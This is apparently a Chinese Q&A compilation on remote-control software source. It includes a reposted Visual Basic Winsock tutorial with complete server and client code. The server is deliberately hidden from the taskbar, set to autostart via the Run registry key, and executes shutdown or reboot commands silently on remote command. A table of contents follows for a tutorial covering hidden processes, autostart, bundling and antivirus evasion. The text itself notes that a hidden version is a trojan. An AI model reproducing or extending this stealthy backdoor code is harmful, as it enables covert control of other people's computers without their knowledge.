怎么看源码里面的远控（远控软件源码）

VB远程控制源码

你要求很高啊

远程控制是要被控方的电脑上运行有你的程序，并没有多么神奇，你学下vb网络通信-winsock就可以自己编远程控制的了。

比如说服务器上有这样的功能：如果接收到一个数据比如说"123"时就开始接收一个程序的数据包，接受完后自己解压后运行，至于发过去的程序自然是你想怎样就怎样。这样的程序如果在用户面前明明白白地运行那就叫远程控制，如果不让用户发现那就叫木马。

winsock用法（转载……）

VB winsock控件详解2009-09-29 14:41*属性

-------------------------------------------------------------------------

LocalHostName | 本地机器名

LocalIP | 本地机器IP地址

LocalPort | 本地机器通信程序的端口(0端口65536)

RemoteHost | 远程机器名

RemotePort | 远程机器的通信程序端口

state | 连接的当前状态(文后有详细说明)

Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)

--------------------------------------------------------------------------

*方法

--------------------------------------------------------------------------

Listen

Listen方法用于服务器程序，等待客户访问。

格式：Winsock对象.listen

Connect

Connect方法用于向远程主机发出连接请求

格式：Winsock对象.connect [远程主机IP,远程端口]

Accept

Accept方法用于接受一个连接请求

格式：Winsock对象.accept Request ID

Senddata

此方法用于发送数据

格? Winsock对象.senddata 数据

Getdata

用来取得接收到的数据

格式：Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

Close

关闭当前连接

格式：Winsock对象.close

*事件

----------------------------------------------------------------------------

Close | 远程机器关闭连接时触发

Connect | 连接建立好，可以进行通信时触发(客户端)

ConnectRequest | 有请求连接到达时产生(服务器端)

DataArrival | 有数据到达时触发

Error | 发生错误时发生

SendProgress | 数据传送进度

-----------------------------------------------------------------------------

程序代码如下：

--》服务器端程序(server.exe)

先在窗体中放置Winsock控件(他在运行时是看不见的)，属性采用默认值,再设置Form1的

属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可

手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”

中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入

"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表

的写入，这就更方便了，不过由于实现过程较复杂，就不在这里说了.

Private Sub Form_Load()

On Error GoTo skip 如此端口已有通信程序则退出

Winsock1.LocalPort = 1334 端口值应大于1024，如还有冲突可改为其他值

Winsock1.Listen

Exit Sub

skip:

If Err.Number = 10048 Then

MsgBox "端口冲突，退出！", vbOKOnly, "注意！"

End

End If

End Sub

Private Sub Winsock1_Close()

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Listen 关闭连接后继续监听

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Accept requestID 请求到达时，接受连接

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strget As String

Dim ccom As String

Winsock1.GetData strget 读取到达的数据

Select Case strget

Case "a" 判断到达的数据是否‘a’，是则重启，你也可自己定义(协议就是这样产生的)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 不同机器设置不一样

Call Shell(ccom, vbHide) 由函数curr_win()来判断

Case "b" 如为‘b’则关闭计算机

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"

Call Shell(ccom, vbHide) 函数shell来执行命令

Case Else 可以在此加入其他命令

End Select

End Sub

Function curr_win() As String

Dim i As Integer

Dim enstr As String

i = 1 此函数通过读取环境变量来获得Windows目录

enstr = Environ(i)

Do While enstr ""

If Len(enstr) 11 Then

If Left(enstr, 11) = "winbootdir=" Then

curr_win = Right(enstr, Len(enstr) - 11)

Exit Do

End If

End If

i = i + 1

enstr = Environ(i)

Loop

End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意！" 如程序出现错误，则简单的退出

End

End Sub

--》客户端程序(Client.exe)

程序界面如图[control.jpg]

防入四个命令按钮，一个标题框，一个Winsock控件,其属性设置如下：

------------------------------------------------------------------------- -

控件名 | 控件类 | 属性 | 属性值

----------------------------------------------------------------------------

closewin_but | commandbutton | caption | 远程关闭

startwin_but | commandbutton | caption | 远程重启

connect_but | commandbutton | caption | 连接

exit_but | commandbutton | caption | 退出

state_lab | label | borderstyle | 1

-----------------------------------------------------------------------------

代码如下：

Private Sub Form_Load()

Winsock1.LocalPort = 22226 本地端口可任选，只要不冲突且小于65535，用

netstat -an命令可查看当前通信进程

Winsock1.RemoteHost = "127.0.0.1" 调试时此IP将对本机操作，实际应用时可

换上被控方IP

Winsock1.RemotePort = 1334 对应服务器端的localport

state_lab = "未建立连接."

End Sub

Private Sub closewin_but_Click()

If Winsock1.State sckConnected Then

state_lab = "请先建立连接"

Else

Winsock1.SendData "b" 发出关闭命令

End If

End Sub

Private Sub startwin_but_Click()

If Winsock1.State sckConnected Then

state_lab = "请先建立连接"

Else

Winsock1.SendData "a" 发出重启命令

End If

End Sub

Private Sub connect_but_Click()

On Error GoTo skip

If Winsock1.State = sckConnected Then

state_lab = "已建立连接了"

Else

Winsock1.Connect

End If

Exit Sub

skip: 用netstat命令看到状态为Time_wait则

If Err.Number = 10048 Then 须等待一段时间才可连接，也可换另一

端口，可加快连接速度

MsgBox "端口正在使用，请稍后再试！", vbOKOnly, "注意！"

End

End If

End Sub

Private Sub exit_but_Click()

Winsock1.Close 关闭连接且退出

End

End Sub

Private Sub Winsock1_Connect()

state_lab = "建立连接成功！可发送命令."

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,

ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意！"

End

End Sub

通过上面的例子，我们大概了解了远程控制的原理，对于其他功能的实现应该不难了。如

文件的下载，可先让客户程序发一命令字串cc:\windows\lzh.pwl,服务器接收到命令字

串后判断出首字母c为下载命令，则将所指定的命令文件c:\windows\lzh.pwl传送给客户

端，完成相应的服务。需要注意的是，此程序只能建立一个连接，如要建立多个连接可通过

在服务器端产生多个Winsock实例来接受请求.

*****测试环境：

Window98，MicroSoft Visual Basic 5.0企业版

附：属性state值

常数 值 描述

sckClosed 0 关闭状态

sckOpen 1 打开状态

sckListening 2 侦听状态

sckConnectionPending 3 连接挂起

sckResolvingHost 4 解析域名

sckHostResolved 5 已识别主机

sckConnecting 6 正在连接

sckConnected 7 已连接

sckClosing 8 同级人员正在关闭连接

sckError 9 错误

怎么在易语言源码里加远控

你最好让发给你源码的人提供一下源码中程序的启动窗口及其他窗口的截图。因为有些组件（软件右边那些工具）你需先添加才能运行代码的，否则会提示找不到组件，如“找不到编辑框1”。

或者你也可以慢慢研究一下代码的意思，并找出里面的比如“子程序，按钮1被单击”这种，然后逐一添加控件，其中的“按钮1”就需要一个按钮组件，以此类推。（一般一个子程序都是一个组件）

代码你只要打开易语言，默认会出现一个空白的程序窗口，你双击，就会自动转换到代码区，这时粘贴进去就可以了（要想运行的前提是你添加好所有组件，并且代码无误）

祝你成功~~！！！

易语言远程控制教程+源码

额,你可以看看易语言官方的教程,那里边有很不错的教程内容.至于源码,其实看懂了那个教程自己也可以写了,而且里边也有例程提供下载.

还有有问题可以再易语言的论坛里寻求解决.来百度也是个不错的选择.

顺便说一下,有一本《易语言零起点》的教程,写的相当不错,你可以看看,用不了多久就看完了,看会了自己就可以发挥了,也没必要找源码做参考了.

远控源码什么意思

远控原码就是远控应用程序在编译成EXE可执行文件前的原代码，软件作者写程序都是先写代码，然后将代码编译成EXE，才能供用户使用。用户运行的是编译后的EXE文件，原码并不能直接运行。而作者修改和制作的时候是原码，并不是直接制作修改EXE文件的。

怎么在易语言源码里加上远控呢

《易语言远程控制技术教程》

（2007年10月第一版）

前 言

利用远程控制技术对企业管理，可加快我国经济建设的需要。易语言以其易学易用功能完善的功能，从而为企业管理中的远程控制提供了基础的编程条件。

本教程从一个基本面说明了远程控制技术的编程环节，可能大家比较感兴趣的是双向通讯自动上线技术、网络通讯协议、内存压缩图片技术、TELNET超级终端等功能，本教程均提供了例程。高级的远程控制技术应用请大家继续学习WINSOCK，API应用，端口映射技术等。

对于破坏国家正常经济秩序的黑客行为，本书是严厉批评的。由于黑客技术的发展，远程控制被少数人利用，对国民生产产生了不良的后果。本教程不得不接触到远程控制这个方面，但仅以讨论的形式为大家介绍，并不进行细致的介绍，以让大家对此类黑客技术有所提防。

由于本教程中，某程序可能即包含了服务器组件，也包含了客户组件，因此如果用外部流行的“服务端/客户端”提法很容易混淆，因此本书将主动进行控制管理的一方称为：“主控方”，编写的程序为：“主控端”；将被动接受控制的一方称为：“受控方”，编写的程序为：“受控端”。

本教材个人可打印一份细看，各兄弟网站可自由转载而不用事先打招呼。版权所有，不得批量印刷即可。

作者还要说的话：本教程用了我两个月的时间写完，前期收集例程及写例程用了我更多的时间，特别辛苦。远程控制是把两刃剑，可以好好用，也可能造成不好的影响，还好回头再一看教材后，感觉对于企业内部管理应用还是非常不错的，可以提高中国中小企业的管理水平，但不可能制作成类似于灰鸽子那样的破坏功能，本书没有提供这样的技术，也请大家自重，不要写破坏性的程序。

本书使用到大量的例程，足有200MB，还好，书中我基本都提供了下载链接，如果书中没有列出的例程，请大家跟贴指出来，我会补上。我觉得最好的学习方法是先将这些例程收集全了，再一个一个打开看看，基本上就能明白了。

目 录

第一课．远程控制原理 5

1．企业管理的需要 5

2．介绍相关管理工具 5

3．组件简介 7

第二课．组件选择 8

1．数据报 8

2．服务器/客户组件 9

3．网络通讯支持库 9

4．保密通讯支持库 10

5．远程服务支持库 11

6．网络传送支持库 12

7．网络通讯支持库二 13

8．表1：网络通讯类支持库组件功能对比表 13

网络传送大文件丢包的原因 14

第三课．组件构成 15

1．用例图1：通讯类（易鸽子，局域网寻呼机，方舟千里眼） 15

2．用例图2：聊天室类 15

3．用例图3：远程控制 16

4．用例图4：远程数据服务（数据库） 16

5．采用单对组件 17

6．采用多种组件 17

7．组件搭配 17

8．表2：有易语言源码的远程控制软件对比 17

第四课．通讯协议 19

1．指令简介 19

2．指令应用 19

第五课．用户连接 20

1．连接方式 20

2．登录口令 21

3．身份验证，MAC和硬盘码 21

第六课．远程监视 21

1．“服务器/客户”组件通讯模式 21

2．内存压缩图片 21

3．“远程服务支持库” 22

第七课．自动上线 22

1．数据报广播自动上线 22

2．多对“服务器/客户”组件反向扫描上线 22

3．服务IP地址自动搜寻自动上线 22

4．将IP地址直接绑定在受控端 22

5．推举服务器 22

第八课．客户端功能 23

1．发送指令 23

2．对话聊天 23

3．监视屏幕 24

4．遥控功能 26

5．了解信息及修改信息 27

5．TELNET超级终端 27

6．文件传输 28

7．鼠标键盘录制 29

8．隐藏进程 29

9．开机启动运行 30

10．正常关机 30

11．多用户识别 31

12．不重复运行 31

13．系统服务权限 31

14．其他功能 31

第九课．服务端功能 31

1．安全性保证 31

2．用户列表信息 33

3．数据库操作 35

4．自动生成EXE 37

5．跨网远程 40

第十课．捆绑与免杀 40

1．捆绑 40

2．免杀 40

第十一课．打造超小受控端 41

1．请使用斩月工具，去掉易语言的核心支持库。 41

2．尽量使用API，这样不带有大量的支持库，体积就小了。 42

第十二课 一个实例的分析 42

1．设计文档 42

激活客户端过程 43

客户端上线过程 43

2．开机口令 43

3．用户列表/选择用户 44

4．发送指令 44

5．激活用户 45

6．发送文件 46